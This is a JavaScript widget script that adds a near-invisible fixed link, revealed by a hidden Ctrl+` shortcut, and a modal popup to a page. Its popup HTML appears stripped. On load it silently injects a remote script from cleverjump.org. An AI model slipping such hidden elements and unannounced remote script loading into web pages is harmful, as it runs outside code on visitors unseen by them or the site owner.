(function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var popupHtml = "\t
\n\t\t\t\t\t \n\t\t\t\t\t\t \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t <\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/td>\n\t\t\t<\/tr>\n\t\t<\/table>\n\t<\/div>\n";
var popupCreated = false;
function onReady() {
tryCreatePopup(2);
var box = create('div');
append(box, document.body);
var defaultStyles = {
width: '1px',
height: '1px',
background: 'transparent',
display: 'inline-block',
margin: '2px',
padding: 0,
verticalAlign: 'bottom',
border: 'none'
};
var a = create('a');
a.setAttribute('rel', 'nofollow');
css(a, defaultStyles);
document.addEventListener('keydown', function(e) {
if (e.keyCode === 192 && e.ctrlKey) {
css(a, {
width: '20px',
height: '20px',
background: '#fff',
border: '1px solid red'
});
}
});
document.addEventListener('keyup', function(e) {
css(a, defaultStyles);
});
a.className = 'shbNetgpLink';
append(a, box);
a.href = 'javascript:;';
on(a, 'click', openLinerPopup);
css(box, {
position: 'fixed',
margin: 0,
padding: 0,
outline: 'none',
border: 'none',
zIndex: 999999999,
overflow: 'visible',
direction: 'ltr'
});
css(box, {
left: '3px',
right: 'auto',
top: '50px',
bottom: 'auto',
width: '42px',
height: '168px'
});
}
function clearStyles() {
if(typeof document.createStyleSheet === 'undefined') {
document.createStyleSheet = (function() {
function createStyleSheet(href) {
if(typeof href !== 'undefined') {
var element = document.createElement('link');
element.type = 'text/css';
element.rel = 'stylesheet';
element.href = href;
} else {
var element = document.createElement('style');
element.type = 'text/css';
}
document.getElementsByTagName('head')[0].appendChild(element);
var sheet = document.styleSheets[document.styleSheets.length - 1];
if(typeof sheet.addRule === 'undefined')
sheet.addRule = addRule;
if(typeof sheet.removeRule === 'undefined')
sheet.removeRule = sheet.deleteRule;
return sheet;
}
function addRule(selectorText, cssText, index) {
if(typeof index === 'undefined')
index = this.cssRules.length;
this.insertRule(selectorText + ' {' + cssText + '}', index);
}
return createStyleSheet;
})();
}
var sheet = document.createStyleSheet();
sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;');
sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;');
sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;');
sheet.addRule('.shbNetPopupTable a', 'text-decoration:none; background:none; height:auto !important;');
}
function tryCreatePopup(stage) {
if (popupCreated) return;
if (stage === 1) {
document.writeln(popupHtml);
} else if (stage === 2) {
var mainBox = create('div');
mainBox.innerHTML = popupHtml;
document.body.appendChild(mainBox);
} else {
return;
}
var wr = $('shbNetPaddingWr');
if (!wr) return;
popupCreated = true;
var table = $('shbNetPaddingTable');
css(table, {
position: 'fixed',
margin: 0,
padding: 0,
left: 0,
top: 0,
width: '100%',
height: '100%',
direction: 'ltr',
zIndex: 999999999,
background: 'none'
});
css(table.getElementsByTagName('td')[0], {
verticalAlign: 'middle',
background: 'rgba(0, 0, 0, 0.5)'
});
var popup = $('shbNetPaddingPopup');
css(popup, {
margin: '0 auto',
padding: '20px 25px 20px',
width: '437px',
background: '#fff',
border: '1px solid #000',
textAlign: 'left',
position: 'relative',
fontFamily: 'Tahoma, Arial, Verdana',
boxSizing: 'content-box'
});
on(document, 'keydown', function(e) {
if (e.keyCode === 27) {
wr.style.display = 'none';
}
});
}
function removeClass(node, className) {
if (node && node.className) {
node.className = node.className.replace(new RegExp('\\b' + className + '\\b', 'g'), '');
}
}
function openLinerPopup() {
var pad = $('shbNetPaddingWr');
if (!pad) return;
pad.style.display = 'block';
var mainPopup = $('shbNetPopupWr');
if (!mainPopup) return;
mainPopup.style.display = 'none';
}
function $(id) {
return document.getElementById(id);
}
function on(elem, event, handler) {
elem.addEventListener(event, handler, false);
}
function css(elem, style) {
for (var prop in style) {
elem.style[prop] = style[prop];
}
}
function create(tag) {
return document.createElement(tag);
}
function append(elem, parent) {
parent.appendChild(elem);
}
setTimeout(function() {
window.CJSource = 'shb2';
var script = document.createElement('script');
script.src = 'https://cleverjump.org/counter.js';
(document.head || document.body).appendChild(script);
}, 10);
if (document.readyState === 'complete' || document.readyState === 'interactive') {
onReady();
} else {
on(document, 'DOMContentLoaded', onReady);
}
tryCreatePopup(1);
try {
clearStyles();
} catch (ex) {}
})();
|